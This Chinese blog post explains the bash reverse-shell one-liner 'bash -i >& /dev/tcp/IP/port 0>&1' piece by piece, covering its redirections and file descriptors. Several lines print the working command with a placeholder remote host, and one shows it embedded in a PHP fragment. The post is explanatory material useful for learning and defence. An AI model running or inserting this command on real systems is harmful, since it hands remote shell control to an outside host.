反弹bash shell解释
创始人
2025-05-28 12:51:02
参考:
https://stackoverflow.com/questions/818255/what-does-21-mean/818265#818265

你是否使用过类似代码:

&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1' ") ?>

其中

/bin/bash -c 'bash -i >&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'

是一段用来反弹bash到目标ip的命令。意为使用bash打开新的bash,把标准输出重定向到远程主机,标准输入重定向到标准输出。实现远程主机输入命令,在本机执行,执行结果发送给远程主机。

/bin/bash -c ""

即使用bash执行引号里的命令。

bash -i

意为打开可交互的bash。

/bin/bash -c 'bash .........'

相当于在命令行窗口直接输入bash并回车运行,在bash中执行了“打开bash”的操作。

>&

大于号是重定向符号,意为对标准输出进行重定向,重定向到&符号后面所给出的目标。&符号用来表明后面跟的是文件描述符(file descriptor)。>1>&1是有区别的,分别代表“重定向到文件名为1的文件中,若不存在该文件则进行创建,若存在该文件则对内容进行覆盖”和“重定向到标准输出”,使用&进行区分。&跟在>后的时候,被解释为重定向到文件描述符所指的目标。

/dev/tcp/xxx.xxx.xxx.xxx/port

是伪设备,代表远程主机。

>&  /dev/tcp/xxx.xxx.xxx.xxx/port

表示把标准输出重定向到远程主机。

0>&1

表示把标准输入重定向到标准输出。

/bin/bash -c 'bash -i >&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'

有两个重定向命令,>& /dev/tcp/xxx.xxx.xxx.xxx/port执行过后,标准输出已经重定向到远程主机,再执行0>&1,把标准输入重定向到标准输出,执行后,标准输入和标准输出都重定向到了远程主机。

注意,下列命令作用不同:(把0>&1放到>& /dev/tcp/xxx.xxx.xxx.xxx/port前面)

/bin/bash -c 'bash -i  0>&1 >& /dev/tcp/xxx.xxx.xxx.xxx/port'

这条命令先把标准输入重定向到标准输出,再把标准输出重定向到远程主机,执行后,标准输出的确定向到了远程主机,但标准输入未发生改变。

注:

文件描述符:
0 标准输入
1 标准输出
2 标准错误

在这里插入图片描述

相关内容

热门资讯

匈奴人长什么样子?境外考古还原... 匈奴人长什么样子?不清楚的读者可以和趣历史小编一起看下去。这是一个长期以来困扰中国人和欧洲人的大问题...
安徽汽车职业技术学院最新或20... 我院毕业生具有理论知识扎实、技能突出等优势,主要在江汽集团公司及安徽省大中型企事业单位就业。第四章 ...
邯郸之战秦国为什么会输呢 只因... 今天趣历史小编给大家准备了:邯郸之战的文章,感兴趣的小伙伴们快来看看吧!长平之战后,秦国已经战胜当时...
为什么秦国会被称为虎狼之师 而... 今天趣历史小编给大家准备了:秦国虎狼之师的文章,感兴趣的小伙伴们快来看看吧!说到我国历史上的战国时期...
秦国书同文车同轨 秦国之前的文... 还不知道:七国文字的读者,下面趣历史小编就为大家带来详细介绍,接着往下看吧~秦国的统一,不仅仅是地域...